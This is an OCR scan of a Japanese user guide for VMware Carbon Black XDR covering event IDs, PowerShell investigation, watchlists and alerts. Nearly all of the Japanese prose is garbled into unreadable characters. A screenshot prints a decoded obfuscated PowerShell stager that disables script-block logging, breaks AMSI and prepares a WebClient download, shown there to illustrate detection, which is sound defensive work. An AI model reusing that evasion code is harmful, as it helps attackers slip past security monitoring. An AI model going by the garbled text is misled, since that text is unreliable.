s Windows £ X2k~ ID

m 1Y%

m TNAR

m UE-FIPT7HRLXR

m BEE (059 109 18EE 18)

=EZE AL Windows A X2~ ID ZHDFRTDANRY hEJII—FT BT [FI—FLnE#] kO

v TE D AZa2—T[Windows £ X2+ ID] Z#IRLE T, #EROKRICF. Windows 41X~ ID BID )L
—TBDANRY MDB—EBERREINET, TOHEIU v IT5E JIL—TBREASN. BIRU/-EBEES LU/

FrRFBRBOBEERNICHHFHED Windows A X2k ID DFRTDA N (10,000 HOERFIRRN) =FRR
THEMTEET,

AL 1EBRNICEELZRLC Windows 1 X2~ ID €824 haJ)V—TT 223, [FIV—TIeDEHE]
ROy 7&o> A =2—7T[Windows 4 Xk ID] & [1 8] 22BIRLE T,

FREEA N P O#ERICE BEO [JN—TOEE] BEEZ—EICERTEET, [FIL—TLnB%E] BiEEE#R
THIERFE. BEROIIN—TEORRAECIIHELERA. [FNV—TLOEE] BHEOBERRIEXTHONSHDT
IhYUEEA.
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6 groups with 774 results

EVENTS TIME EVENTID & DESCRIPTION USERNAME DEVICE
376 1:21:13 am Nov 9, 2022 4624 An account was successfully logged on SYSTEM

268 1:21:13 am Nov 9, 2022 4672 Special privileges assigned to new logon

111 1:21:11 am Nov 9, 2022 4634 An account was logged off

6 11:23:02amNov 8,2022 4625 An account failed to log on

2 11:23:02amNov 8,2022 4740 A user account was locked out

1 10:56:55 am Nov 8, 2022

FOEEA N b D

SOREY T RAARY MERTE BIRA XY FOFEMITONTHRBELET.

EROFEF—> 3> XAV T, [BEI 25UV IL. [RIEANRINITES) v ILES. AR FEBRRL
E3

EBDOA XY MIDABICHS > &0 U v o LT, BMOARY MERERRLET.

Auth Event 1:22:15 amNov 9, 2022 X

EVENT DETAILS & v

An account was successfully logged on
Access Granted

51518
SYSTEM
NT AUTHORITY
R 00003E7
PROCESS B 4«
Isass.exe
MD COWINDOWS\system32isass.exe @l
Effective Reputation TRUSTED_WHITE_LIST
Run by NT AUTHORITYVSYSTEM
Signed Microsoft Windows Publisher
Techniques (3)
DEVICE - s

[FI—=T1] Ry TIIY A1 —%FERLTHREIN—TL, BRAANY MEROIIN-TO[>]1 &0V
vOTBE ARV bOFM] NARIVIC [FN—TDFM] [BIROA N ~OFME] [TAER]L XU [F/NA
Al ooa BRRENET. [FIN—TOFHM]l 202 a3V IE UTORBRBELHONTNET,

m [FIL—Tk] DEE
B JI—TROARY N

n JI—THORYIDA N> ~EREDA N2 bOERE

VMware, Inc. 45



VMware Carbon Black XDR 21—#— #i4 K

. JIN—TAOA XY METHBOBINER

[RIEDA XY O] T2 3> (CE JI—TRORHDA XY MMIETHERPEENET.
B—ORAANRY MERD [>]1 20U v od5E, [ MOFEM] NARIVIC 4R bOFEME]L [7O0ER] &
N [TNAR]I 2O aryPRRENET,

[FREEA N2 Bl EEOD [4 N2 bOFM] NRIVICIE, EHEBEORABRESBASNTOET, NICKY, N
SOEMICRALUEZFODMOBERICERY hTEET., ERY ML TEUTOLI AT 3> BHYET,

m 1Y -RETNAZR

B TNAREVE—FIPT7RLR (UE—MREEA N> M TEAREE

m I1—H¥—%& Windows 1 X~ ID

ZOBITIE. FAE] ROy T4 AZa—T[A—YV—RETNAR] AT 3% FEIRT S L. Username &
Device DIEMEIUHEREZRRTEET,

EVENT DETAILS G

Windows event ID 4624 Username & device

Description An account was suc  Device & remote [P

Result Access Granted Username & Windows event ID

IDENTITY

User ID

Username
Domain

Logon ID

Linked logon ID -

Show all >
BE—REHEDOERY P R—FINTWET, [AX2 hOFFHE] NRILDO—BERDEB/NA /=) o3 Nn. 6D
BICEDWTERY FDSEMTHRYET, ZOBITIE 4624 [F Windows event ID 7 4 —JLRIZNA/IN=U D

ENTWET, [4624] 20U v 3B L [RBEAANY M 472 windows_event_id:4624 ZFD TR TORER
ERBTEET,

RO TIMR—=—ROKEDRE
YT R ROWEE, BE SATACAYRS, BARCBHL TABESZ S0ICERSNET.

[Investigate FAZE)] X—TTld. RHUTMR—RDKEBICAT H1ERER DT, HF{t=h7z PowerShell X
VT NCEEDHDHI— REHBITEET.
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BN/l EZBES5MHICT 572812, Carbon Black Cloud >V —ILADY —)LIZEsR{L S 7= PowerShell R4
D7 ORBETI—RTELET, BEDARY FOABIO/NRIVT, TA—RENERIU T NEHERETEET,
BYOBARRICEY., BEOHZ AT UVERRTSEE(IC. XFFaTY., PowerShell av > R, &
VBEHEVOE L EBECR+ v TEET,

gsx{bx /= PowerShell 2 U 7 hDOFAE

Carbon Black Cloud o>y —JliZ. #sifbkE /= PowerShell R U 7 rOBEDEFMETI— RENEN=
IVERETEEYT., N INSDFA TOREICHT B[R EE#{LTHDICIRIBET.

COFIEEFERT L. #Ffbanrz PowerShell R U7 hDTFa— REN/cABERRTEET,
FlE

1 EEOFET—23ar 42T, [AEIZZVYILET,

2 HHROBERICELT, ROVWITNDHERTLET,

8ia FIr
Endpoint Standard [fAZE] > [BA] X—2 T . RITAIREY 7 /)LD powershell.exe £/E>TWBH 7Ot R%E
BRERLET,

REWEEIL. ERANLTERTEET.

process_name: powershell.exe

REORBERHEZEETEET, BRESOCRVIADICE. ERORA DT 4 )V5 ZER
LET.

ZOMRDIRRET 4 — IV FIZDWTIE R=DPDHLICHBAENLCRRAA FETRLTE
SYAN

Enterprise EDR [7AtR] % 7T, £ITAIRET 7 A V1S powershell .exe THHTALREBRELET.
RREEET. BEANLTERTEET,

process_name: powershell.exe

RBEOHBHEAZLEECEET, BRESSCRVIADICE. ERADORA DT 45 EER

L¥ET.
ZDMDIRET 4 =L RICDNTIE R=P DA LICHEBRAENLRESA RESRLTE
S,

3 BWEITDZANUIELETOCREZBRLET, TORETFrL Y b
Uy UET., (MY O] NRIIVOERICA R SOFElNRRINET,
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4 [AXYEOFM] XxND [7OER] € 3>T [CMD] 728215, BET7A23>

0y o LET,

HR

[Process CMD ]® #0)v o3 5L, PowerShell st 7R &

PowerShell 7O XEDHENDEWNSDNHY £T.
m  PowerShell LS4 DO 7O RDFEE., A< R 5S4 U 5|#(3 [CMD] D FICRRENET,

CMD Line X

—\m et L {1 E460B D 7-F1 C3-4B2E-B8BF-4E 7 7T0A288AF
SH1E460BD7-F1C3-4B2E BBBF-4E770AZBBAF5}

m #HFtEh/ PowerShell 7Ot ADBE. [F— A 27 —4]DFICTa—RENcRIUT S a—-REE

fFETFAbEBBRREINLF—T— RBRTENET,

CMD Line X

rshell.exe” -noP -sta -w 1 -enc SQBMACEAJABQAFMAVEBFAHIACWBPAEBATEBUAGEAYEBMAGUALZBQAFMAVEBIAFIACWBPAGEAbZAUAEDAQQBKAGEACE
Ag»\cwwaummm;am;ma&mowmomsmurunmmmawmawmcmogssmmaHmuadnaumuuAauu:gnj-um.auucwBmuawamsmvosuasamamﬁunwaumom.g
BBAHU 0AYQ CAKQAUACIARWBFAFQAREBIAEUAYABSAGQAIZAOACCAYWBIAGMAIABIAGQARWBYAGEAID BWAFAADWBSAGKAYWBSAFMAZQBOAHQASQBUAGCAC
wAr\ACvm\,lﬂBOAC:AK\m\nAGSAbgBQAHUA\‘sBsAGMNMMMBWMBM(AKQA?AEMZWMQAZ;AWAGMAMwAyACkAew.!kAGuM’QASADYAMQAMQARgAwAEMAMwAyMMRwBFAFQAVgBBA
GWAVQBIACEAIABOAFUATABMACKAOWEJAEYAKAAKAEUAQQAIADYAMQBbACCAUWB]AHIAAQBWAHQAQEANACSAIWBSAGEAYWEBIAEWALWENAGCAIQBUAGCAIWBAACKAe WAKAELAQQAIADYAMQBbAC CALWE]
AHIA2QBWAHQAQZANACSA EwAbWBNAGCAIQBUAGCA) SA 4AVQBIAGWAZQBTAGMACEBPAHAAGABCACCAKWANAGWADWBIAGS ATABVAGCAZWBAGAAZWANAFOAPQAWADSAJABIA

Script Insights

T7Z—hDKIT—

Key Indicators () Formatted PowerShell Script
MethodOnType 1 if ($psversiontable.PSVersion.Major —ge 3) {
GetField 2 SFEC32 = [Ref].Assembly.GetType("System, Management. Automation.Utils").GetField("cachedGroupPolicySettings”, “NonPublic,5tatic”)
3 if ($1ec3z) {
Other 4 sea76l = $f@c3Z.Getvalue(snull)
5 5 if (sea?61["scriptblocklogging]) {
Major, GetType, GetValue, 5 SEA761["ScriptB” + "locklLogging"] ["EnableScript8” + “lockLogging"] = @
dictionary, Object, new, Add, 7 $eAT61["SeriptB" + "locklogging"] ["EnableScriptBlockInvocationLogging”) = &
SetValue, New-Object, hashset, g
SErVICEPOInTManaGEr,
EXPECT100ConTINUE, webeliant, 18 VAL = [{.o'l'lectim\s-!en:ric-di(tiumry:string, System.Object]]::new()
% * 11 Sval.Add("enablescriptblocklogging”, @
Encoding, Getstring, Proxy, 12 sval.Add("enablescriptblockinvocationlogging”, @)
webrequest, DefaultWebProxy, 13 SEATE1("HKEY_LOCAL_MACHINE\Software\Policies\MicrosoTt\Windows\PowerShe lI\ScriptB” + "lockLogging”] = sval
CrEJERTIALS, credentialcache, 14 }oelse {
DefaultNetworkCredentials, proxy, 15 [scriptblock] .GetField("signatures”, “MonPublic,Static").SetValue($null, (New=-Object collections.generic.hashset[string]))
GetBytes, count, downloaddata, 1Rt
Length 18 $RET = [Ref] bly.GetType("Systen Automation. AmsiUtils”)
19 sref.GetField("ansiInitFailed” » "NonPublic,Static").SetValue{snull, strue)
20
21}
22
23 [SYstEm.NET.SErVIcEPOinTManaGEr] : :EXPECT108ConTINUE = @
24 383984 = New-Object System.net.webclient
25 $u = "Hozilla/5.8 (Windows NT 6.1; WOWE4; Trident/7.8; rv:11.8) like Gecko"

RDRT YT
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7AEX Ny a2 DOREF

[FRAE] R—20 [BR] 4 TTARY bOT7AER SHA-256 Ny > 2 ZBGTEET,

FIE

1

2

EROFET—2 a3 RA42T, [RAEIZVU oL, (B4 TE20) v LET,
AR FDORE : EAORA 2D [TAER] 74NV EZFERLT. REBERERVALZENTEET,
BREHERT—TNDOLICH D [RRAE] RAYTE U AZ2—T,

TOtR Ny iald, RERBRT—TIND 2 FEHDOHICKRRENET,

TOtR NyiakdE— (B8 $EHAERIXIDHYET.

Ty

)

AN DOEBRICHDF v Ly b

[7AtXR] Z2RLET.

ZoHon=7OvA Nyiax Yy oL, Ctrl-C #8LT/N\yaxaE—LET,

FEOSNETOLA Ny allh—VILEEDLEET, BEHE/N\YAENRRINET, Nvia
EZEZERLTHS Ctrl-C &L TNy aZ&ZaE—-LET.

TAAEI VYO LET, [

MO XA UMEEET, [FAER] I3 ETTICRZO-)LL, [TRTRR]ZE7VvILE

T, NvIafEERIRL, Ctrl-C 2L T/\v>a2ZaF—L%7.

PROCESS @B B v

svchost.exe

CMD C\Windows\system32\svchost.exe -k NetworkService -p -s @
CryptSvc =

Effective reputation TRUSTED_WHITE_LIST

Run by NT AUTHORITYANETWORK SERVICE

Signed Microsoft Windows Publisher

Techniques (3) network_access

Hide v

Path c\windows\system32\svchost.exe

MDS f586835082f632dc8d9404d83bc16316
SHA-256 |643ec58e82e0272¢97¢2a5916020970d881af19c0ad5029db9c958¢13b6558¢
7

PID 3820

ZRLR— bADHFEES T DEN

B ERICEFHRICERSNLED + v F YU X MAOBRF R (IR ICERSNIEBLR— NI U ZEMLT, A
REGL ZF2UTAREA DT —% (I0C) ZERTEET,
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FIE

1 EAOFreES—>ar N—7T [AE]ZI/VVILFET,

2 BRETFAMNRYIADSITVERTLEREHRLET,

3 Z0UTVEIAYFURRDIOCICEDSICIE, RETHFAM Ry IRDTFICHD [BELR—MIRRE
EBml]UroESUYILET,

[VTUZEEBNM] Tq 2 RUDKRREINET,
4 ROWTNhOERITLETD,

n BHEOUVAVFURNEBRBLVR-bEZERLET,

a

b

(Vv FURRERBIR] £/ 3 0O RAYTEDY AZa—PooxyFURNEERLET,
[LR=FADITUDEM] €22 a2 D RAYTIDY AZa—PoBEBLR—bEZERLET,

n BHEOUVAYFURNERRL, HILWEBLR—MEFERLET,

[(DAyFURREBR] £/ 3 O RAYTEOY AZa—Po0xyFURNEERLET.
[LR=FICOTUZEEM] €0 a>D FHFEM €0V v o LET,
FLUWEBBLR-MIRDYDPTVREIEADLET,

F72arTBA UAvFURN EVhENIATEIEZEDOLAN. BLOFHLWEBELVKR— b
DEES JEEDET.

B LWy FURNMEEBRHLUVAR—bEERLET.

(Vv FURMEER] O3> THEHFREM 22Uy LET,
FLOUDAYFURMIODUYPTNERIZANLET,

ATarT HLOOF Y FURRDEYDT 4 —ILRICAALT, Uy FURXMDODBEWEREL
£,

[Ey FREDTS—RREE ANXNYEBITUE—HLEBECRIT SHE (FLF3BMTEI0E
M) ERELET.

[LAR=FICZTUEEBM] o3>0 [FBEEMI 22y o LET,
FLWEBBHLAR—MIHUPTVWEZEIZANNLET,

FT723a>T O9xavyFURS By bERMIATEHEEEDOHBE LN, BLOFHLOEBLR—
DEES VEEHET,

5 ZEEZERIDICE (FREIZIVVILET,

mR

EEOEEIC [[IOC BEFICERENELL] EODBMPBRTEINET,
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RORFY T
BRBEIVIVERDIF. ZNICHLTT 23 E2RTLET.

1 EEOFET—2 3> N=T, [@AR]-[VAvFURKR=20Uy oL, ARIL D+ yvTF IR NEE
RUET,

2 [LR=K]FZTEZBIRL, hRILBBLR—bOREFEIY Vv I LET,

IOCDTICURFENTWNS, HILEBMEN/LITUERTL, EDITUICHLTT I3 ERTTER
¥, VTV ERE. BYk. BIlR. ELERETEET.
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7o— I REROEDLWEMEEBIMOBEERLET., 75— hEEHNICHERL. 7023 E2RTT24
ER®HDM. BRI —DEEPVLETHLINEHIMT S LeB8OLET.

. EOFES—2ar RAVT [T EVUVYILET.
n YO bOFHEERRLTRRTBICE. ROTS—MTE[STIVLOY v I]LET,

F: AYVSIADI A LRY T FEA—F—DRMDY A A =V TRIRENET, FM LRG> TITH—VIL
4T UTC O ALYV —VICEERMITONIRbREZRRTLET.

Evb: 75— API£FERLT. 75— FOIBLEEBEAIELTHLbTEET., 77— FO—ELH AR
—h;BSELTEZ,

RDOEEYVESZRLTIIES ),

m 75— hOFEHRRT

m =T TS5—hF

m ZEID TO75—hDOETR

m 75—k TU—070-0DFE

. RROER

s T bhDORUT—

n RUUT AR OBEBR HRAE

75— bDOFEMRT
ROFIBEGEAL T, 75— ORMERRLET.

#: [75— N BETOXDR F—5 OHR 5BBLT LS,

FIE
1 EADOFET—2ary RAVT, [T5—MEZVVvILET,

J: Carbon Black ##7 5 — MMCBT 2R > —THASN TN BIHEE, &D [RF—4 R] FICHKNS
—ILR 7L aYHED [BREINDRY S —] BRRINET,
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2 T5-bOFEHERTTBICE. ROVWTNHOREEITOET,
m TS hESTINOVYILET,
n [T ar]FORBIT[>]IESY YO LET,

BRSNICEQORS U PRRENET, [T bOFR] U XA 22 T5—-bDSAT 75—F
ID. 75—hDEH RUZ—EN—ILE T—OTA-DRT—F APRRENET,

3 MEIDOTD[[INTERR]IZEI Vv I LT [T/ IURE]I RS VERRLET, IXNTOEBESLTBESTD
HEOT S — FDERRERRTEET, BEREE FBIC—HRH. FH, FLEENCHEEINET, [T/
VNl EBRBLTLES,

4 DEIVYILTIZ7S—bDOFEM] RAVEFDY TITRRL, SSH[CRA U EREET.
EREIN/IZEL—(CE. RORA UPRRENET,
. JOEXR
s F7OEXR
s B59570EX
m TEyhk
= 1EIH
m 7>—hHIDERE
n EEIDERE
5 LTZIT22&EMNTEET.
m [<ENFEEFDP>RXRIESUYILT BIELFEEOT 52— OFMERRLET,

B 75— hESSICMNIT—PEEFHARTSICE [T - bOFME] €02 a v ORLBICHDZERS V&
FRALET.

n TS -bDREZE[COT7Z-bENJALEZRA] €22 a Y ICRRULET. BADHKN [100+] EXRR
ENBEHEF. UTERTTEET.

n [F5—FORUT—U]T4aY T £5Uvs LT, 100 BOBEANESRLET.

n [RE]IT7132 0y o LT, 100 BAE£BABUADINTOT -5 ERRLET,

6 HERCHD[X]IZLUvOLT [75—hDOFEEA] XA VERLET,
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75— bDiEER

75— [ vFURK] [USB 7/ RE#]. [CB 9] [(RAMR=ZRDT77AT7o+—)L) [a>FTF
SoHAAL] T BABRMS AT A (DS)] hoRELET, [BE]I VAN EFRLTEY—RANSTS— K
#RRALET,

[D4vFURN TS5—H]

DAY FURNTIE, BENGEBREEDODLWVT VT4 ET 4 ICDNT, RIEEZHGENICEERT 5 RS AREHF
ATEEY.

DAy FURIDODTS—bDRIERA T arTHY, Vv FURNEYTRISATIT BN hAY A U F
YFURNEERTDHEEIC, [VAYFURMN BETRETEET,

[USB F/\ A R&IHT7 S5 — ]

IR A-H-—DPT7AvIINZUSBTNARIZTIEALEDETEHE RUL—DIEET V3B RUAS
N7S—bPRELET, USBTNARFHT S —rE MU T7—JLREVABLEVTSZLETEEEA.

[CB %77 Z— K]
CB 9% 7> — kiZ. Carbon Black Cloud #MfZ> Y > TERESNDIETT,
[(RARR=ZADT 7 AT O +—)L 75— K]

RARNR=ZADT 747 04— 75—ME ERENLT7AT7 04— —ILOVWITNMHITERLICBEICD
—Y—([CBHLES., V—ADB[RUS—]TEET[TAYIETI— ] ICREESNTNRIHE, BEMTONET
S—bhERENET,

i RRAM=ZROT77A470+—=)L 75—, &A 100 BOEANESENTIET, 100 B2 5 L.
Carbon Black Cloud [ZIBMOEEEAZHE L ET.
[A>TF So94ALT5—K]

AVTF SUFALTS—MI AT ZVIAL RIS —([CROTEBDDH D LBDONIIEERLET, =
N60D7 77— KME ROVWITNPOFERTT .

m U—J0—ROEBEDT /7Y, EEBFR—b AF v VR EOBRMDKRE/NG — 2 ([C—HT DEEDHER.
B LEaAT—2arDBPEOIPT RLAADT U MND 2 R,
[(BAKRHZ AT A (IDS) 75— K]

IDS (3. XYy bT =0 70T 4 ET 4 ZBHDL V3 FvICROLADETER L. BENEEREEDOLWT T
1ET1ZBEHRLET.

CB A7 2 —hDF 21— 2R D58 DHOEBEIRGRD EERHIBRUBAICRIDED. 7405 NxRIL
DBE] Ry I ADHERT D LeB8HOLET,

F: IDS 75— RICIE. &K 100 EOEFANEENTWVET, 100 282 5 &, Carbon Black Cloud (33850
DEESNEZNFILET,

BWEDT Z— b 94 TDRR
COFIEEFERLT, BEDT 5~ b 514 TERRLET.
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FIE
1 EROFES—2 3> RAVT, (75— E5UvILET,
2 [Z4NF]IRA2D[F4T] T ROVWTNHEZIRLT, TDIATICABDT 5 — b EaXRRLET,
m  [CB #2#f]
[Ty FURHK]
m [USBTNAR arhE—IV]
n [RRAMR=RDT 7470 4+—)l]
m [AYTFFTDSUHAA]

B [BARHIRATA]
F: 1EICEROSA TEBIRTEET,

BT7Z—HMI [TA4NF]RADAEBDY X MIRRENET,
3 TS-bESTINO)vOTBM [To2ar]f0AD [>] €0 v LTRDNARIVEIRRRILET.

4 BE7S—HFCOVWTANRRID [TS—bOFHE] €02 a > DELBICHS ROy TFD U RENEFRATEE
ER

ERAERAT T a>E 75— hDIATICE>TEBYVET, [T5—bTODT7 2 a>RT7] 25BLTL
EEW,
75— bBLULR-FDEEE
EEEXO7E. 73— FOEMNEEEEZRLET.
[SIZN&E2V v o LT Fa2a—DT75—bE2EEEAITHICY—bL. $<SISEENLERT S —MERBELET,
[CB ot - 75— hDEZEE]
72— bDEEER. CB A7 - FOEMHNEEREZRLET.

[EEE1~2:1R—F RFv> Uz T7ORAYT. SRTLABRT7 7AINVDER, KW EDT IT
1ET 1,

B [EEE3~5]XINTTORT. ARAUAINROLDEEME. T —H—ASTDEER, BEMASATY XL
AET. NRD—REB#HLLEDT VT4 ET 1,

B [EEEG6~10:]UN=XR OV R )b, AR NADA T BIENAZTIILD 7. BEh/=70X
EV=IL Y b RYNIT—OLETRETANDIRETIIENT TS =23 BEDT VT4 ET 4,

[DxvFURb - LIR=—DEEE]
LR—FDEZEER, V4vFURXL TS5 FADBEBLR— FOBEMHEERERLET.

LR—FDEZEE, LR-MDEREBICL O TREVEY. MEDLVR-FEERT H5E. LR-FDEEEZ
RETEET, 1 IRDEEZEMES, 10 IRHEBEENESBRVET,
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=Ty b NJa—
=Ty b N)a—ld TI-bDBBLANNEHESTOBORKELTHIELET, 49—y b NUa—F T
YRIRA DB BRY S —ICKUERENET,

g—=yk NUa—(F. 75— bXRD [TIFDOFICHZEY DRENEN—DHTREINET,

o [EIN=TF, BELANIVIES D,

n [FIN=2FK, BERXOF -7y b NUa—, BEGEMESNZN,

m [B/2viar oUTa I N=-3KELIF AR, EE5DED. ABURATTERLNILEEBMEE S,
FENRILTT - MDEBEMNENLS 2 DULEDT Z— MIRRINZBENH S,

75—k ID. 4£1XKID, BLUER ID

3DDIA4TDID BHYVES., 7TUVT—2 3> TENENDBEDLS (ERENIDEBRBTLENEET
ED

[AXRN D] BEDOESICTIEDTNARTRET S 3 DETOEMRD/NYy> 2 BT 7Y, BRLET7TYU, %
— Ty hTT))ESUEEDT I3y, AXYEID (& [Investigate (FAE)] R—C DAY MEHAICHY F
T, T —D05a YV —JLIZEEINEIITRTOAR ML BEODAXREID BEYHTENET,

[7Z— K IDL1BOT/NA ATRZKOERZR (+/-15 92) AICRET 2RHDA R~ A2~ ID (& Carbon
Black 2#fIC&>T12D7>5—Kr ID [CHIN—TbEnNET, E75—MIZEBEDT7Z— K ID BEIUHTSH
3, INlE. BEOTS—bDNYIa, TOay, FEETNARADEUEBETHRKTT,

[ZE ID]: BHOT/NA REBFBRICOIE> TIRUDITSNDEHEDT S —~, BE ID Z2FERL T [Alerts (7>
—MIR=TEAETZT7S—MID 28BRETEET, 775 —2a3a> DNy aBEREINBEE. HLWE
B ID pEYHBToENET,

7/<V9EE

[7 /< Un%E] #EE(L. BB T DAIEEMEDRDESVNT I — FEREBE L TEHMICEHN L £, ZO#EEIE. VMware
Carbon Black XDR A —H—8XUEBEDT A+ v FU R NTERATEET,

AT A INTOEBE LB OEBATT 5 — bIAEERESNLEDERAND LT, 75 - MOEREXE
HEILET, BEREOATIVICE FEC—HKR. T ELEENBHVET, 75— FOERENPEANICE
NEE&ER. 7/ XUVELTIY - ENDAREDPESEVET,

COWREZEFERTDE T/RVRBTS—MIESEZSTT, BENGHECERICRRICHETEET.

[7/<UNET14IVF]

[T7Z2—hEAT. [T/RUNE] 74NV EFERLTTS— b2 3DOATIVICT4IE ) ITEET,
m [T/RVUTT/RIUTHBTS—bERRLUET,

m [7/RUTIEAEWN] 7 /UTEEWTS—hERRLET,

o [DEEINTOEN]: fEENTONVENT S —FERRLET,
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ALERTS
Q_ search
FILTERS Clear § « 8 results
= pe (1)
i [] status
Watchiists 8
D @® Ran
< Anemalous
—  Priority (1
LAY © Tags added
Value Alert severity
Low v| &3
O ®ran
< Anomalous
Thr
= < © Tags added
—  Anomaly Classification (3)
Era— | O o
Not Classified 3,708 <% Anomalous
Jassife
) Notes
Not Anomalous 56 © Tags added

TS5 bBT/RUDSEER [RT—F X7 /) RT—F ABRRENET,

T/RUNEEXFICT S
TI7FINET 7 /<Y R5E] #EIEENIC/A>TWET, KDOFIEICHE > T, [Carbon Black Cloud Advanced
Threats] U+ vF U R bE7=(% [AntiMalware Scan Interface (AMS)) Z@iA > T Uz VRl U4 vF U R B

D7/ UNE] #EEEZF VICLET,
FIE
1 EROFET—23r RA4>T ER]-[VAvyFURXN DIEICYZ Uy I LETS,
2 ROWITNDPDUAYvFURNEO )OI LET,
m  Carbon Black Cloud Advanced Threats

. AMSIBEA>TUP TR

WATCHLSTS
el e Yen < Carbon Black Advanced Threats
e e et Thon s Pind w5 @ bl of P d sl 8 Poredl ruls sy wjalated peerasic by Cava ghy Py an oy ma e Ve i e st siee e geear sy s
Lot Bt AN ] Alarts: O | Aommaby Clasufic stionc OF |
s B Ay ot ®
Trrwan P v By
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3 [TooarvxErRFIEVYYIL. RAY TSI AZa—05 [IRE] €#RLET,

Edit Watchlist X
* Name
Carbon Black Advanced Threats
Description
his watchlist is a list of high-confidence threat indicators, updated periodically. Generally, hits on this watchlist should
be suitable for generating alerts.

Alert on hit Classify anomalies (2

4 [EybMEBICTS—FFzvo Ry IRERIRLET.
5 [7/RUDRE] Fzvy Ry REZERLET,
6 [®REIZIVYILET,

IN—=T 75—+

7S5—hEIIL—TLT, EHEDOIY RRA Y MIDE> TRET HEUDT S — & 1 DDITICRRLET.
EF: TI7AINNTE 75— MIEEMC [ —TOEE: L] ICHRESINET,

[N —TDEEL: 72L] E2—Tld BHEOTNA A TT Z— MPRRINTNRBETH, TRTOTF— 58
B—D7 77— MMIICEMNIEKRRENET,

72— hrDERIEMEFEL. BLDOT7S—MIMLTWDT I3 aRTT50ENH LD EHIMTEET,
ROBELIZHZ [VIV—TOEE] ROy TFI> AZa—%FERALT, IRTODT7>5—rZRLCERID TYIL
— T UET, [JI—TeDnE%E : ZF ID] 2ZRL T,

[#4 7/32H] 5

(44 7/2B]NE T5—hDBEID ZREL. 75— bDPMERESN/IEBZFHBALET.

BEID JIN—TICIUTHEENET,

m UxvFURbL

= CB 5

= USB

B RAMR—ZDT AT I 4=

m AVTFDSUIAL

s IDS
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7—470-%|

[(D—270-1%l%. 75— BN TWANEALTNSEDERLET,
[(7V—270-]13T75—bDRT—FREI Uy LT ROBERERTLET,
= 75—hID

B V- UTJO-DRAT—FREIALRY VTEEHFLIzDA—H—

F: 7—070-83 12075 bIHLTDHRA IS 0T 1 TIZRRENES, JI—TkEniTS5—
bDD—070— RT—FREVVVITHILEITELREA,

TI—TIDEHE : ZRl 1D
BEID T75— b &SN —TLT. RUBHID £5257 5— FORERRTEET,

FIig

1 [J—TOBEE: ]ORAY TSI AZa—%0 v I LET,
2 [#Em D] £#IRLET,

"R

[ON—TDEEL :ZFHID] 7o a3>E RALERID £28D75—bEE—0D75— b~ JI—TTICERELE
ER

RDHDEHRTEET,

m RILUBEID £2FD27 5 — b0

n TI5-brDIN-—TDEEEDL NIV

n TS-bDIATET S bBERENIER

n BEOERID 207 5 — bIMERE NIZHY) L HE DR
n BEDEMID DTS- bDBHDT/NA ADE

s RUBEID JIL—7AT, BhnicE@FRALoNET S — O

ZE ID TO7 55— hDERR
COFREERALT. BAID FL—TRADFACDT 5— hERRLET,

FIE

1 [IUN—ToEE:EHID]OROY TSI A=a—%&0Uv I LET,
2 RRITBT7S—bEFRLET,

3 [Forar]yTl7o—hERRIZVUVILET,
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"R
FLOD A Y ROICERID JIV—TADT 5 — bOFENRREINET.

ZB ID OFHADRT

ZOFEEFERLT, [BEID] XA > OFMERRLET,

|__17|%20 VyoddE [75— hOFME] XA UDBRIDS TICRRENET,

F AN EEEB[>XRIZ2Vy o LT MIEEBEREOTY 5 — FOFHERTLEY,

(B ID OFR] XA 2 (2F. UTFHRRENET,
s [BEIDDYTUIRAY

n [TORR]RSY

n  [BE D BE] XA

[BEELID DB < U] RS2

(B ID DY U] RA VT RDTS5—b FN—TICHT DF#lMBRRENET,
m AT

m EBEID

= 75— hOER

B TSI DBRRENIETNA RO ESBE

m U—2/70—

[IRTERR]IZEZ0YYILTERID OFTUDS [7/RUDE]RAVERRLET, IXNTOEBELVESR

DEBOT S — FOEREEXRCEET, BREG, FFIC—MHN. T £EE3ENIC
Nl EBBLTIEE,

[FatR] RA Y

[7O2R] XA IClF. BB ID 75— MNCBT 2 ROBHRBRRENET.

n AWELELT— 3

n HIRES

n EE

m i

[Z& ID BE] XA >
(28 ID BE] A VIZRDIERNRTINET,
s ZEID

m 7o—hDEAR
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R TS MOSERENLTNS RORET 5 — SO
SORAVICE BEID 75— MOEMENELI—F—DT 47 4 ET 4 EXEDBRFESNES,

[TRNTRR]ZE2 Vv ILT IRTDA—Y =T IT 4 ETABEERTLET,

X EDEM

[7Z5—hIDBE]I RA2E [BRID BE] RAVICAEZEBMTEET, AEZHIRTEHIEHBTEETH AOD
I—HY—EMLIEAEFHIBRTEEEA,

[IRTERRI AT avEERTHE BRASN R T7v T Ea—T[75— b IDBE] £/2(3 [ZH ID &
BIRAVDBHEE. 75— MIEBMENLINTOAEELET SOV -V 7O EERENRRENET.

7o5—bD—070-0DiRE

[(D—278-18C, 75— FDRT—FRAPKRTENET,

T7Z2—bDTU—o70—% [B<] [ACA] F/3 EITHR] ICEETEET.,
TS—hFERCAVBEWEYT IR, SERIETRTOTNARATTY S — e BEMICERATEET.

EE: [ZOBHID 2 05BDINTDTS—MEEFMICHCR]I AT a i, 75— APl EFERLTE

FAFTEEZZ B R ID (CEDWTWET, @ ID DEEE. CB 9. U4 vFURX b, USB F/NA R, KRR A
—ADT7AT VA=) AVTFTDS UM L BABRMLATLADT S —h 54 T ICL>TEFRBVET.

m [CB ##7]: TELKEE REEFIKREED SHA-256 /Ny 1) &, Endpoint Standard i > 2> IC&
STERSINDT7 T — MOEROMEAEDHE,

m [VFYFURR DAY FYURDOEY FERUALIELR=b,

n  [USB F/\A R&IH]: —2D USB TNA RERLET.

B [RAM=RDTZ 74704+ RAM=—RDTZ 747 T+—=)L L—ILEFRABRLCLT Z— b,
m [OAVTFOSUIALLRURY =L —ILEHD, RLIZRE EZRIZERADT Z— b,

m [IDS:E:RACT7O€®REIDS DR F v £ —IEHEDTS5— b,

77— hCEBROT S IBMNTNSIEE, RUBE ID £2805RDINTOT 5 — MERENET,

E: TI—MA RED SHA-256 Ny L2 ERTIBENHUET, EROTNA R LEDT7S—hERLSELIE
F<ICE ATz bDNY P aBR—THEIUEDHYET,

75—hZERALS
COFIBEFEALT, 75— &ML, BETZTRTOTS— EBLET,

Flig

1 EDFET—2ar RAVT [75-ME2VUYvILET,
2 [JI—TeDE%E: 2 L] ERIRLET,

3 HLCad75—hzsUvILET,
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4 [7o2ar]T. RAY TSI O AZa—%&0 Uy I LET,
5 [FU3]Z22YvoLET,
[75—hrZRALB] D1 RUBKRRENET,
6 [FALBEA] RAVIIIY AZa—%0Uy LT 75— bZML2EHEZERLET.
m ERES
n HEmAL
n fRRFS - BE/BLH
. BEE/O)-2TvT
